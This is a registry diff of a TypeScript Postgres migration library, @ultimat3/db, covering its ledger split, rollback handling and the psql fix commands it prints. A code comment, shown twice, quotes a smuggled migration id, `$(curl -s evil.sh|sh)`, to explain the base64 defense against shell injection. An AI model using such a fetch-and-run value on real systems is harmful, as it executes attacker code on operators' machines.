@ultimat3/db 23.0.0 → 25.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CLAUDE.md +83 -85
- package/README.md +88 -27
- package/package.json +3 -3
- package/src/array-parameter.ts +38 -1
- package/src/bound-parameters.ts +22 -3
- package/src/catalog-fold.ts +4 -1
- package/src/catalog-objects.ts +29 -0
- package/src/catalog.ts +10 -2
- package/src/client.ts +2 -2
- package/src/column-alter.ts +9 -3
- package/src/commit-tag.ts +21 -0
- package/src/default-client.ts +4 -4
- package/src/dependent-view.ts +7 -5
- package/src/destructive.ts +1 -1
- package/src/drift-append-only.ts +53 -0
- package/src/drift-errors.ts +3 -3
- package/src/drift-findings.ts +211 -59
- package/src/drift.ts +33 -19
- package/src/entity-shape.ts +5 -0
- package/src/errors.ts +12 -8
- package/src/fake.ts +1 -1
- package/src/foreign-key.ts +0 -34
- package/src/generate-append-only.ts +146 -0
- package/src/generate.ts +20 -6
- package/src/index.ts +11 -9
- package/src/introspect-catalog.ts +19 -2
- package/src/introspect.ts +92 -12
- package/src/migrate-rollback.ts +44 -0
- package/src/migrate.ts +48 -158
- package/src/migration-ledger.ts +167 -0
- package/src/object-drift.ts +77 -20
- package/src/pglite-branch.ts +7 -7
- package/src/pglite.ts +16 -4
- package/src/pool-profile.ts +1 -1
- package/src/primary-key.ts +210 -0
- package/src/schema-dump-table.ts +4 -1
- package/src/sibling-turn.ts +49 -0
- package/src/snapshot-parse.ts +9 -3
- package/src/sqlstate.ts +30 -10
- package/src/statement-funnel.ts +16 -5
- package/src/transaction-errors.ts +66 -0
- package/src/transaction-options.ts +122 -0
- package/src/transaction.ts +131 -121
- package/src/drift-fixtures.ts +0 -23
- package/src/fake-pglite.ts +0 -32
- package/src/fake-reservable.ts +0 -50
package/src/migrate.ts
CHANGED
|
@@ -3,19 +3,37 @@
|
|
|
3
3
|
// app-version fence is the `migrate` role's contract — a pod must refuse to migrate a database
|
|
4
4
|
// another build already owns, because the alternative is two schemas racing during a rollout.
|
|
5
5
|
|
|
6
|
-
import { appVersion, finiteCount } from '@ultimat3/core';
|
|
6
|
+
import { appVersion, finiteCount, logger, renderFixShellArg } from '@ultimat3/core';
|
|
7
7
|
import { baseClient, type DbClient, type DbConnection, isReservable } from './client';
|
|
8
8
|
import { refuseDependentViews } from './dependent-view';
|
|
9
9
|
import { expectedQueryLoop } from './expected-loop';
|
|
10
|
-
import
|
|
10
|
+
import { ledgerAheadOfBuild } from './migrate-rollback';
|
|
11
11
|
import { migrateConcurrent, migrationConflict, rollbackStepsInvalid } from './migration-errors';
|
|
12
|
+
import type { Migration } from './migration-ledger';
|
|
13
|
+
import {
|
|
14
|
+
auditLedger,
|
|
15
|
+
ensureLedger,
|
|
16
|
+
LEDGER_TABLE,
|
|
17
|
+
migrationChecksum,
|
|
18
|
+
pendingMigrations,
|
|
19
|
+
readLedger,
|
|
20
|
+
} from './migration-ledger';
|
|
12
21
|
import { poolProfileFor } from './pool-profile';
|
|
13
22
|
import { raw, sql } from './sql';
|
|
14
|
-
import { SQLSTATE, sqlState } from './sqlstate';
|
|
15
23
|
import { statementsOf } from './statement-split';
|
|
16
|
-
import {
|
|
17
|
-
|
|
18
|
-
export
|
|
24
|
+
import { withTransaction } from './transaction';
|
|
25
|
+
|
|
26
|
+
export type { LedgerRow, Migration } from './migration-ledger';
|
|
27
|
+
export {
|
|
28
|
+
auditLedger,
|
|
29
|
+
checksumOf,
|
|
30
|
+
ensureLedger,
|
|
31
|
+
isLedgerMissing,
|
|
32
|
+
LEDGER_TABLE,
|
|
33
|
+
migrationChecksum,
|
|
34
|
+
pendingMigrations,
|
|
35
|
+
readLedger,
|
|
36
|
+
} from './migration-ledger';
|
|
19
37
|
|
|
20
38
|
/** Stable, arbitrary: every Ultimate migrator contends on this one key. */
|
|
21
39
|
export const MIGRATION_LOCK_KEY = 4_919_202_607;
|
|
@@ -32,27 +50,6 @@ export const MIGRATION_LOCK_WAIT_MS = 60_000;
|
|
|
32
50
|
/** One poll per half-second: cheap against a lock that is usually free on the first try. */
|
|
33
51
|
export const MIGRATION_LOCK_POLL_MS = 500;
|
|
34
52
|
|
|
35
|
-
export interface Migration {
|
|
36
|
-
/** Sort key and primary key. `20260726120000_add_publish_at`. */
|
|
37
|
-
readonly id: string;
|
|
38
|
-
readonly name: string;
|
|
39
|
-
readonly up: string;
|
|
40
|
-
readonly down: string;
|
|
41
|
-
/** Computed from `up` when absent. */
|
|
42
|
-
readonly checksum?: string | undefined;
|
|
43
|
-
/** The schema this migration leaves behind. `drift.ts` compares the live DB against it. */
|
|
44
|
-
readonly snapshot?: SchemaDescription | undefined;
|
|
45
|
-
}
|
|
46
|
-
|
|
47
|
-
export interface LedgerRow {
|
|
48
|
-
readonly id: string;
|
|
49
|
-
readonly name: string;
|
|
50
|
-
readonly checksum: string;
|
|
51
|
-
readonly applied_at: string;
|
|
52
|
-
readonly app_version: string;
|
|
53
|
-
readonly duration_ms: number;
|
|
54
|
-
}
|
|
55
|
-
|
|
56
53
|
export interface AppliedMigration {
|
|
57
54
|
readonly id: string;
|
|
58
55
|
readonly name: string;
|
|
@@ -65,6 +62,11 @@ export interface MigrationReport {
|
|
|
65
62
|
readonly skipped: readonly string[];
|
|
66
63
|
readonly durationMs: number;
|
|
67
64
|
readonly appVersion: string;
|
|
65
|
+
/**
|
|
66
|
+
* Ledger ids a NEWER build applied, when this build is a rollback onto them — accepted, never
|
|
67
|
+
* applied or reverted (`migrate-rollback.ts`). Empty on every ordinary run.
|
|
68
|
+
*/
|
|
69
|
+
readonly ahead: readonly string[];
|
|
68
70
|
}
|
|
69
71
|
|
|
70
72
|
export interface MigrateOptions {
|
|
@@ -83,14 +85,6 @@ export interface MigrateOptions {
|
|
|
83
85
|
readonly lockTimeoutMs?: number | undefined;
|
|
84
86
|
}
|
|
85
87
|
|
|
86
|
-
export function checksumOf(text: string): string {
|
|
87
|
-
return new Bun.CryptoHasher('sha256').update(text.trim()).digest('hex').slice(0, 32);
|
|
88
|
-
}
|
|
89
|
-
|
|
90
|
-
export function migrationChecksum(migration: Migration): string {
|
|
91
|
-
return migration.checksum ?? checksumOf(migration.up);
|
|
92
|
-
}
|
|
93
|
-
|
|
94
88
|
/**
|
|
95
89
|
* Core's, never a second read of the key: `x_migrations.app_version` and `x_backfills.app_version`
|
|
96
90
|
* are two durable columns an operator reads side by side, and a package defaulting `APP_VERSION`
|
|
@@ -100,125 +94,6 @@ export function runningAppVersion(explicit?: string | undefined): string {
|
|
|
100
94
|
return explicit ?? appVersion();
|
|
101
95
|
}
|
|
102
96
|
|
|
103
|
-
export async function ensureLedger(client: DbClient): Promise<void> {
|
|
104
|
-
await client.execute(sql`
|
|
105
|
-
create table if not exists ${raw(LEDGER_TABLE)} (
|
|
106
|
-
id text primary key,
|
|
107
|
-
name text not null,
|
|
108
|
-
checksum text not null,
|
|
109
|
-
applied_at timestamptz not null default now(),
|
|
110
|
-
app_version text not null,
|
|
111
|
-
duration_ms integer not null
|
|
112
|
-
)
|
|
113
|
-
`);
|
|
114
|
-
}
|
|
115
|
-
|
|
116
|
-
/**
|
|
117
|
-
* Whether `error` is "the ledger table does not exist" and nothing else.
|
|
118
|
-
*
|
|
119
|
-
* Everything else — a permission denied, a server in recovery, a timeout — is a failure to read the
|
|
120
|
-
* ledger, not an empty one, and a caller treating the two alike reports every migration as pending
|
|
121
|
-
* against a database it cannot see.
|
|
122
|
-
*
|
|
123
|
-
* The SQLSTATE comes from `sqlState()` and from nowhere else: this function used to read
|
|
124
|
-
* `sourceError.code` itself, which is the SQLSTATE on PGlite and the literal string
|
|
125
|
-
* `ERR_POSTGRES_SERVER_ERROR` on `Bun.SQL`, so it answered `false` for a genuinely missing ledger
|
|
126
|
-
* on every production driver. One reader, one answer (axiom 1).
|
|
127
|
-
*/
|
|
128
|
-
export function isLedgerMissing(error: unknown): boolean {
|
|
129
|
-
return sqlState(error) === SQLSTATE.undefinedTable;
|
|
130
|
-
}
|
|
131
|
-
|
|
132
|
-
export async function readLedger(client: DbClient): Promise<readonly LedgerRow[]> {
|
|
133
|
-
return client.query<LedgerRow>(sql`
|
|
134
|
-
select id, name, checksum, applied_at, app_version, duration_ms
|
|
135
|
-
from ${raw(LEDGER_TABLE)}
|
|
136
|
-
order by id
|
|
137
|
-
`);
|
|
138
|
-
}
|
|
139
|
-
|
|
140
|
-
/**
|
|
141
|
-
* Every reason a migrator must stop before touching the schema. Pure, so `x db status` can
|
|
142
|
-
* report the same verdict without holding the lock.
|
|
143
|
-
*/
|
|
144
|
-
export function auditLedger(
|
|
145
|
-
ledger: readonly LedgerRow[],
|
|
146
|
-
migrations: readonly Migration[],
|
|
147
|
-
appVersion: string,
|
|
148
|
-
): void {
|
|
149
|
-
const known = new Map(migrations.map((migration) => [migration.id, migration]));
|
|
150
|
-
|
|
151
|
-
// The predicate is "this build does not ship it" and NOTHING else. It used to also require
|
|
152
|
-
// `row.app_version !== appVersion`, which switched the audit off wherever the two agree —
|
|
153
|
-
// `runningAppVersion()` answers `dev` for every development build, so a migration applied by an
|
|
154
|
-
// earlier `dev` build and since deleted was invisible here, and `expectedSchema` then dropped
|
|
155
|
-
// its table from the drift comparison: `ok: true` against a database that still has the table.
|
|
156
|
-
// The version is a detail of the ANSWER, so it moved into the cause.
|
|
157
|
-
const foreign = ledger.filter((row) => !known.has(row.id));
|
|
158
|
-
const first = foreign[0];
|
|
159
|
-
if (first !== undefined) {
|
|
160
|
-
throw migrationConflict(
|
|
161
|
-
`the ledger records migration "${first.id}" applied by app version "${first.app_version}" ` +
|
|
162
|
-
`but this build is "${appVersion}" and does not ship it`,
|
|
163
|
-
// `x db status` has never existed — the subcommands are gen, migrate, reset, studio, branch
|
|
164
|
-
// and backfill — and this is one of the two errors most likely to fire during a real deploy.
|
|
165
|
-
// A `fix:` is copied and run verbatim, so it names the ledger read that works anywhere psql
|
|
166
|
-
// does, and the one edit that resolves the disagreement.
|
|
167
|
-
conflictFix(first),
|
|
168
|
-
);
|
|
169
|
-
}
|
|
170
|
-
|
|
171
|
-
for (const row of ledger) {
|
|
172
|
-
const migration = known.get(row.id);
|
|
173
|
-
if (migration === undefined) continue;
|
|
174
|
-
const checksum = migrationChecksum(migration);
|
|
175
|
-
if (checksum === row.checksum) continue;
|
|
176
|
-
throw migrationConflict(
|
|
177
|
-
`migration "${row.id}" was applied with checksum ${row.checksum} but now hashes ${checksum}`,
|
|
178
|
-
`x db gen "fix ${migration.name}" # never edit an applied migration, add a new one`,
|
|
179
|
-
);
|
|
180
|
-
}
|
|
181
|
-
}
|
|
182
|
-
|
|
183
|
-
/**
|
|
184
|
-
* The migration id is the DATABASE's own text — whoever can write a ledger row picks what lands in
|
|
185
|
-
* a line an operator pastes — and it goes inside SHELL DOUBLE QUOTES, where `$(…)` and a backtick
|
|
186
|
-
* substitute before psql is reached at all. Measured before this screen: an id of
|
|
187
|
-
* `$(curl -s evil.sh|sh)` produced exactly that command.
|
|
188
|
-
*
|
|
189
|
-
* So the id does not go in as text. It goes in **base64**, decoded by Postgres itself
|
|
190
|
-
* (`convert_from(decode(…,'base64'),'UTF8')`), and the base64 alphabet is `A-Za-z0-9+/=` — every
|
|
191
|
-
* character of it inert in shell double quotes and inert inside a SQL string literal. One command
|
|
192
|
-
* shape for every ledger row there can be, with no screen, no branch and no escape to get wrong.
|
|
193
|
-
*
|
|
194
|
-
* It DID branch: `shellInertIdentifier` screened both the id and the app version, and a refusal
|
|
195
|
-
* degraded the whole line to prose naming no command — so a row could take the one instruction
|
|
196
|
-
* away from the operator by holding a space. An error that stops being an instruction under
|
|
197
|
-
* adversarial input is an error the adversary silenced (axiom 4). The version is not in the line
|
|
198
|
-
* at all any more; the CAUSE already names it, and the fix's job is to be runnable.
|
|
199
|
-
*
|
|
200
|
-
* The id is unreadable in the command, and that is the trade: `cause:` is where a human reads
|
|
201
|
-
* which migration this is, `fix:` is where they paste. `psql` echoes the row count it deleted.
|
|
202
|
-
*/
|
|
203
|
-
function conflictFix(row: LedgerRow): string {
|
|
204
|
-
const encodedId = Buffer.from(row.id, 'utf8').toString('base64');
|
|
205
|
-
return (
|
|
206
|
-
'deploy the app version this error names — or, if that build is gone, drop its row: ' +
|
|
207
|
-
`psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} ` +
|
|
208
|
-
`where id = convert_from(decode('${encodedId}', 'base64'), 'UTF8')"`
|
|
209
|
-
);
|
|
210
|
-
}
|
|
211
|
-
|
|
212
|
-
export function pendingMigrations(
|
|
213
|
-
ledger: readonly LedgerRow[],
|
|
214
|
-
migrations: readonly Migration[],
|
|
215
|
-
): readonly Migration[] {
|
|
216
|
-
const applied = new Set(ledger.map((row) => row.id));
|
|
217
|
-
return [...migrations]
|
|
218
|
-
.sort((a, b) => (a.id < b.id ? -1 : 1))
|
|
219
|
-
.filter((migration) => !applied.has(migration.id));
|
|
220
|
-
}
|
|
221
|
-
|
|
222
97
|
/**
|
|
223
98
|
* Hold the migration lock on **one** session for the whole of `fn`, which runs on that session.
|
|
224
99
|
*
|
|
@@ -312,7 +187,7 @@ async function withAdvisoryLock<T>(
|
|
|
312
187
|
* migration loop, and nesting here would replace that reason with a narrower one for no gain. An
|
|
313
188
|
* empty script sends nothing at all, which is how a no-op migration reaches its ledger row.
|
|
314
189
|
*/
|
|
315
|
-
async function applyScript(tx:
|
|
190
|
+
async function applyScript(tx: DbClient, script: string): Promise<void> {
|
|
316
191
|
for (const statement of statementsOf(script)) await tx.execute(raw(statement));
|
|
317
192
|
}
|
|
318
193
|
|
|
@@ -331,7 +206,7 @@ async function applyScript(tx: DbTx, script: string): Promise<void> {
|
|
|
331
206
|
* it, exactly like `statementTimeoutMs`. The failure it produces is `55P03`, typed as
|
|
332
207
|
* `X_DB_LOCK_TIMEOUT` by `driverError` with the `pg_stat_activity` read as its fix.
|
|
333
208
|
*/
|
|
334
|
-
async function setLockTimeout(tx:
|
|
209
|
+
async function setLockTimeout(tx: DbClient, lockTimeoutMs: number): Promise<void> {
|
|
335
210
|
if (lockTimeoutMs <= 0) return;
|
|
336
211
|
// `SET LOCAL` takes no parameter placeholder, and the value is a validated integer of ours.
|
|
337
212
|
await tx.execute(raw(`SET LOCAL lock_timeout = ${Math.round(lockTimeoutMs)}`));
|
|
@@ -368,8 +243,22 @@ export async function migrate(options: MigrateOptions): Promise<MigrationReport>
|
|
|
368
243
|
finiteCount('migrate', 'lockWaitMs', options.lockWaitMs ?? MIGRATION_LOCK_WAIT_MS, 0),
|
|
369
244
|
async (session) => {
|
|
370
245
|
await ensureLedger(session);
|
|
371
|
-
const
|
|
246
|
+
const read = await readLedger(session);
|
|
247
|
+
// A rollback to an older image meets rows the newer build applied. Accepted, applied over by
|
|
248
|
+
// nothing, and said out loud: the pre-upgrade Job failing here was the rollback failing.
|
|
249
|
+
const rolledBack = ledgerAheadOfBuild(read, options.migrations);
|
|
250
|
+
const ledger = rolledBack?.known ?? read;
|
|
372
251
|
auditLedger(ledger, options.migrations, appVersion);
|
|
252
|
+
const ahead = rolledBack?.ahead.map((row) => row.id) ?? [];
|
|
253
|
+
if (rolledBack !== undefined) {
|
|
254
|
+
logger.warn('ultimate migrate ledger ahead of build', {
|
|
255
|
+
appVersion,
|
|
256
|
+
ahead,
|
|
257
|
+
aheadAppVersions: [...new Set(rolledBack.ahead.map((row) => row.app_version))],
|
|
258
|
+
cause: `the ledger holds ${ahead.length} migration(s) newer than every one build "${appVersion}" ships — a rollback onto a newer build's schema; nothing was applied`,
|
|
259
|
+
fix: 'x db migrate --json # after the rollback, from the newer build: it finds its migrations already applied',
|
|
260
|
+
});
|
|
261
|
+
}
|
|
373
262
|
|
|
374
263
|
const pending = pendingMigrations(ledger, options.migrations);
|
|
375
264
|
// A statement per migration and a transaction per migration is the point, not an N+1 to batch:
|
|
@@ -418,6 +307,7 @@ export async function migrate(options: MigrateOptions): Promise<MigrationReport>
|
|
|
418
307
|
skipped: ledger.map((row) => row.id),
|
|
419
308
|
durationMs: Math.round(performance.now() - started),
|
|
420
309
|
appVersion,
|
|
310
|
+
ahead,
|
|
421
311
|
};
|
|
422
312
|
},
|
|
423
313
|
);
|
|
@@ -473,7 +363,7 @@ export async function rollback(options: RollbackOptions): Promise<readonly strin
|
|
|
473
363
|
`migration "${row.id}" is in the ledger but not in this build, so its down SQL is unknown`,
|
|
474
364
|
// Same reason as `auditLedger`'s: `x db status` does not exist. The `down` SQL only
|
|
475
365
|
// exists in the build that shipped it, so the fix is the read that names that build.
|
|
476
|
-
`psql "$DATABASE_URL" -c "select id, app_version from ${LEDGER_TABLE} ` +
|
|
366
|
+
`psql "$DATABASE_URL" -c "select id, app_version from ${renderFixShellArg(LEDGER_TABLE, '<ledger table>')} ` +
|
|
477
367
|
`order by id desc limit 5" # deploy the build that shipped the migration ` +
|
|
478
368
|
`whose id is base64 ${Buffer.from(row.id, 'utf8').toString('base64')}, ` +
|
|
479
369
|
'and roll back there — its down SQL exists nowhere else',
|
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
// Single responsibility: the `x_migrations` ledger — what a migration IS, the table that records
|
|
2
|
+
// one applied, and the pure verdicts read off it (checksum drift, a foreign row, what is pending).
|
|
3
|
+
// Split from `migrate.ts`, which keeps the lock, the apply loop and the rollback; `migrate.ts`
|
|
4
|
+
// re-exports every name here, so its public surface is unchanged.
|
|
5
|
+
|
|
6
|
+
import type { DbClient } from './client';
|
|
7
|
+
import type { SchemaDescription } from './introspect';
|
|
8
|
+
import { migrationConflict } from './migration-errors';
|
|
9
|
+
import { migrationNameArg } from './primary-key';
|
|
10
|
+
import { raw, sql } from './sql';
|
|
11
|
+
import { SQLSTATE, sqlState } from './sqlstate';
|
|
12
|
+
|
|
13
|
+
export const LEDGER_TABLE = 'x_migrations';
|
|
14
|
+
|
|
15
|
+
export interface Migration {
|
|
16
|
+
/** Sort key and primary key. `20260726120000_add_publish_at`. */
|
|
17
|
+
readonly id: string;
|
|
18
|
+
readonly name: string;
|
|
19
|
+
readonly up: string;
|
|
20
|
+
readonly down: string;
|
|
21
|
+
/** Computed from `up` when absent. */
|
|
22
|
+
readonly checksum?: string | undefined;
|
|
23
|
+
/** The schema this migration leaves behind. `drift.ts` compares the live DB against it. */
|
|
24
|
+
readonly snapshot?: SchemaDescription | undefined;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
export interface LedgerRow {
|
|
28
|
+
readonly id: string;
|
|
29
|
+
readonly name: string;
|
|
30
|
+
readonly checksum: string;
|
|
31
|
+
readonly applied_at: string;
|
|
32
|
+
readonly app_version: string;
|
|
33
|
+
readonly duration_ms: number;
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
/**
|
|
37
|
+
* CRLF is folded to LF first: a Windows checkout under `core.autocrlf=true` reads the same migration
|
|
38
|
+
* as CRLF, and an image built from it must not refuse a database a Linux image migrated. LF input
|
|
39
|
+
* is hashed byte-for-byte as before, so no checksum already in a ledger moves. A lone `\r` is SQL.
|
|
40
|
+
*/
|
|
41
|
+
export function checksumOf(text: string): string {
|
|
42
|
+
const lf = text.replaceAll('\r\n', '\n');
|
|
43
|
+
return new Bun.CryptoHasher('sha256').update(lf.trim()).digest('hex').slice(0, 32);
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
export function migrationChecksum(migration: Migration): string {
|
|
47
|
+
return migration.checksum ?? checksumOf(migration.up);
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
export async function ensureLedger(client: DbClient): Promise<void> {
|
|
51
|
+
await client.execute(sql`
|
|
52
|
+
create table if not exists ${raw(LEDGER_TABLE)} (
|
|
53
|
+
id text primary key,
|
|
54
|
+
name text not null,
|
|
55
|
+
checksum text not null,
|
|
56
|
+
applied_at timestamptz not null default now(),
|
|
57
|
+
app_version text not null,
|
|
58
|
+
duration_ms integer not null
|
|
59
|
+
)
|
|
60
|
+
`);
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
/**
|
|
64
|
+
* Whether `error` is "the ledger table does not exist" and nothing else.
|
|
65
|
+
*
|
|
66
|
+
* Everything else — a permission denied, a server in recovery, a timeout — is a failure to read the
|
|
67
|
+
* ledger, not an empty one, and a caller treating the two alike reports every migration as pending
|
|
68
|
+
* against a database it cannot see.
|
|
69
|
+
*
|
|
70
|
+
* The SQLSTATE comes from `sqlState()` and from nowhere else: this function used to read
|
|
71
|
+
* `sourceError.code` itself, which is the SQLSTATE on PGlite and the literal string
|
|
72
|
+
* `ERR_POSTGRES_SERVER_ERROR` on `Bun.SQL`, so it answered `false` for a genuinely missing ledger
|
|
73
|
+
* on every production driver. One reader, one answer (axiom 1).
|
|
74
|
+
*/
|
|
75
|
+
export function isLedgerMissing(error: unknown): boolean {
|
|
76
|
+
return sqlState(error) === SQLSTATE.undefinedTable;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
export async function readLedger(client: DbClient): Promise<readonly LedgerRow[]> {
|
|
80
|
+
return client.query<LedgerRow>(sql`
|
|
81
|
+
select id, name, checksum, applied_at, app_version, duration_ms
|
|
82
|
+
from ${raw(LEDGER_TABLE)}
|
|
83
|
+
order by id
|
|
84
|
+
`);
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
/**
|
|
88
|
+
* Every reason a migrator must stop before touching the schema. Pure, so `x db status` can
|
|
89
|
+
* report the same verdict without holding the lock.
|
|
90
|
+
*/
|
|
91
|
+
export function auditLedger(
|
|
92
|
+
ledger: readonly LedgerRow[],
|
|
93
|
+
migrations: readonly Migration[],
|
|
94
|
+
appVersion: string,
|
|
95
|
+
): void {
|
|
96
|
+
const known = new Map(migrations.map((migration) => [migration.id, migration]));
|
|
97
|
+
|
|
98
|
+
// The predicate is "this build does not ship it" and NOTHING else. It used to also require
|
|
99
|
+
// `row.app_version !== appVersion`, which switched the audit off wherever the two agree —
|
|
100
|
+
// `runningAppVersion()` answers `dev` for every development build, so a migration applied by an
|
|
101
|
+
// earlier `dev` build and since deleted was invisible here, and `expectedSchema` then dropped
|
|
102
|
+
// its table from the drift comparison: `ok: true` against a database that still has the table.
|
|
103
|
+
// The version is a detail of the ANSWER, so it moved into the cause.
|
|
104
|
+
const foreign = ledger.filter((row) => !known.has(row.id));
|
|
105
|
+
const first = foreign[0];
|
|
106
|
+
if (first !== undefined) {
|
|
107
|
+
throw migrationConflict(
|
|
108
|
+
`the ledger records migration "${first.id}" applied by app version "${first.app_version}" ` +
|
|
109
|
+
`but this build is "${appVersion}" and does not ship it`,
|
|
110
|
+
// `x db status` has never existed — the subcommands are gen, migrate, reset, studio, branch
|
|
111
|
+
// and backfill — and this is one of the two errors most likely to fire during a real deploy.
|
|
112
|
+
// A `fix:` is copied and run verbatim, so it names the ledger read that works anywhere psql
|
|
113
|
+
// does, and the one edit that resolves the disagreement.
|
|
114
|
+
conflictFix(first),
|
|
115
|
+
);
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
for (const row of ledger) {
|
|
119
|
+
const migration = known.get(row.id);
|
|
120
|
+
if (migration === undefined) continue;
|
|
121
|
+
const checksum = migrationChecksum(migration);
|
|
122
|
+
if (checksum === row.checksum) continue;
|
|
123
|
+
throw migrationConflict(
|
|
124
|
+
`migration "${row.id}" was applied with checksum ${row.checksum} but now hashes ${checksum}`,
|
|
125
|
+
`x db gen ${migrationNameArg(`fix ${migration.name}`)} # never edit an applied migration, add a new one`,
|
|
126
|
+
);
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
/**
|
|
131
|
+
* The migration id is the DATABASE's own text — whoever can write a ledger row picks what lands in
|
|
132
|
+
* a line an operator pastes — and it goes inside SHELL DOUBLE QUOTES, where `$(…)` and a backtick
|
|
133
|
+
* substitute before psql is reached at all. Measured before this screen: an id of
|
|
134
|
+
* `$(curl -s evil.sh|sh)` produced exactly that command.
|
|
135
|
+
*
|
|
136
|
+
* So the id does not go in as text. It goes in **base64**, decoded by Postgres itself
|
|
137
|
+
* (`convert_from(decode(…,'base64'),'UTF8')`), and the base64 alphabet is `A-Za-z0-9+/=` — every
|
|
138
|
+
* character of it inert in shell double quotes and inert inside a SQL string literal. One command
|
|
139
|
+
* shape for every ledger row there can be, with no screen, no branch and no escape to get wrong.
|
|
140
|
+
*
|
|
141
|
+
* It DID branch: `shellInertIdentifier` screened both the id and the app version, and a refusal
|
|
142
|
+
* degraded the whole line to prose naming no command — so a row could take the one instruction
|
|
143
|
+
* away from the operator by holding a space. An error that stops being an instruction under
|
|
144
|
+
* adversarial input is an error the adversary silenced (axiom 4). The version is not in the line
|
|
145
|
+
* at all any more; the CAUSE already names it, and the fix's job is to be runnable.
|
|
146
|
+
*
|
|
147
|
+
* The id is unreadable in the command, and that is the trade: `cause:` is where a human reads
|
|
148
|
+
* which migration this is, `fix:` is where they paste. `psql` echoes the row count it deleted.
|
|
149
|
+
*/
|
|
150
|
+
function conflictFix(row: LedgerRow): string {
|
|
151
|
+
const encodedId = Buffer.from(row.id, 'utf8').toString('base64');
|
|
152
|
+
return (
|
|
153
|
+
'deploy the app version this error names — or, if that build is gone, drop its row: ' +
|
|
154
|
+
`psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} ` +
|
|
155
|
+
`where id = convert_from(decode('${encodedId}', 'base64'), 'UTF8')"`
|
|
156
|
+
);
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
export function pendingMigrations(
|
|
160
|
+
ledger: readonly LedgerRow[],
|
|
161
|
+
migrations: readonly Migration[],
|
|
162
|
+
): readonly Migration[] {
|
|
163
|
+
const applied = new Set(ledger.map((row) => row.id));
|
|
164
|
+
return [...migrations]
|
|
165
|
+
.sort((a, b) => (a.id < b.id ? -1 : 1))
|
|
166
|
+
.filter((migration) => !applied.has(migration.id));
|
|
167
|
+
}
|
package/src/object-drift.ts
CHANGED
|
@@ -4,12 +4,18 @@
|
|
|
4
4
|
// so everything else is compared here, catalog against catalog, by identity and never by text.
|
|
5
5
|
|
|
6
6
|
import type { CatalogDescription } from './catalog';
|
|
7
|
+
import { psqlCommand } from './dependent-view';
|
|
7
8
|
import { FRAMEWORK_TABLE_PREFIX } from './drift';
|
|
8
|
-
import type
|
|
9
|
-
import { shellInertIdentifier } from './sql';
|
|
9
|
+
import { byHand, type DriftDifference } from './drift-findings';
|
|
10
|
+
import { literal, shellInertIdentifier } from './sql';
|
|
10
11
|
|
|
11
12
|
interface ObjectIdentity {
|
|
12
|
-
/** The
|
|
13
|
+
/** The schema the catalog was read from — a new psql session's search_path need not hold it. */
|
|
14
|
+
readonly schema: string;
|
|
15
|
+
/**
|
|
16
|
+
* The word `drop` takes: `trigger`, `function`, `view`, `materialized view`, `type`, `domain`,
|
|
17
|
+
* `sequence`. A domain keeps its own word: it is inspected by a different psql command.
|
|
18
|
+
*/
|
|
13
19
|
readonly kind: string;
|
|
14
20
|
readonly name: string;
|
|
15
21
|
/** What tells two objects of one name apart: a function's arguments. */
|
|
@@ -27,13 +33,14 @@ interface ObjectIdentity {
|
|
|
27
33
|
*/
|
|
28
34
|
function identities(catalog: CatalogDescription): readonly ObjectIdentity[] {
|
|
29
35
|
const plain = (kind: string, name: string): ObjectIdentity => ({
|
|
36
|
+
schema: catalog.schema,
|
|
30
37
|
kind,
|
|
31
38
|
name,
|
|
32
39
|
signature: '',
|
|
33
40
|
table: null,
|
|
34
41
|
});
|
|
35
42
|
return [
|
|
36
|
-
...catalog.types.map((type) => plain('type', type.name)),
|
|
43
|
+
...catalog.types.map((type) => plain(type.kind === 'domain' ? 'domain' : 'type', type.name)),
|
|
37
44
|
...catalog.sequences.map((sequence) => plain('sequence', sequence.name)),
|
|
38
45
|
...catalog.views.map((view) =>
|
|
39
46
|
plain(view.materialized ? 'materialized view' : 'view', view.name),
|
|
@@ -53,38 +60,88 @@ const SIGNATURE_ACTIVE = /[`$\\\u0000-\u001f\u007f]/;
|
|
|
53
60
|
const keyOf = (object: ObjectIdentity): string =>
|
|
54
61
|
[object.kind, object.table ?? '', object.name, object.signature].join('\u0000');
|
|
55
62
|
|
|
63
|
+
/** The psql command that PRINTS a kind's definition — what a migration's create statement is copied from. */
|
|
64
|
+
const SHOW = Object.freeze<Record<string, string>>({
|
|
65
|
+
view: '\\d+',
|
|
66
|
+
'materialized view': '\\d+',
|
|
67
|
+
type: '\\dT+',
|
|
68
|
+
// `\dT+` LISTS a domain and shows none of it; its base type and CHECKs are `\dD+`'s (measured, 17).
|
|
69
|
+
domain: '\\dD+',
|
|
70
|
+
sequence: '\\d',
|
|
71
|
+
// A trigger has no command of its own: `\d` on its table lists it, definition included.
|
|
72
|
+
trigger: '\\d',
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
/**
|
|
76
|
+
* A function's definition, asked for by the three facts the catalog gave: its schema, its name and
|
|
77
|
+
* its identity arguments. Not `\\sf name(args)`: that parses a TYPE list, and the identity arguments
|
|
78
|
+
* carry the parameter NAMES (`a text`), which it answers with a syntax error — measured on 17. By
|
|
79
|
+
* NAMESPACE and never `pg_function_is_visible`: visibility is the session's search_path, which can
|
|
80
|
+
* hide this function or answer a same-named one from another schema. All three are data, so all
|
|
81
|
+
* three go through `literal()`.
|
|
82
|
+
*/
|
|
83
|
+
const showFunction = (object: ObjectIdentity): string =>
|
|
84
|
+
'select pg_get_functiondef(p.oid) from pg_proc p join pg_namespace n on n.oid = ' +
|
|
85
|
+
`p.pronamespace where n.nspname = ${literal(object.schema).text} and ` +
|
|
86
|
+
`p.proname = ${literal(object.name).text} and ` +
|
|
87
|
+
`pg_get_function_identity_arguments(p.oid) = ${literal(object.signature).text}`;
|
|
88
|
+
|
|
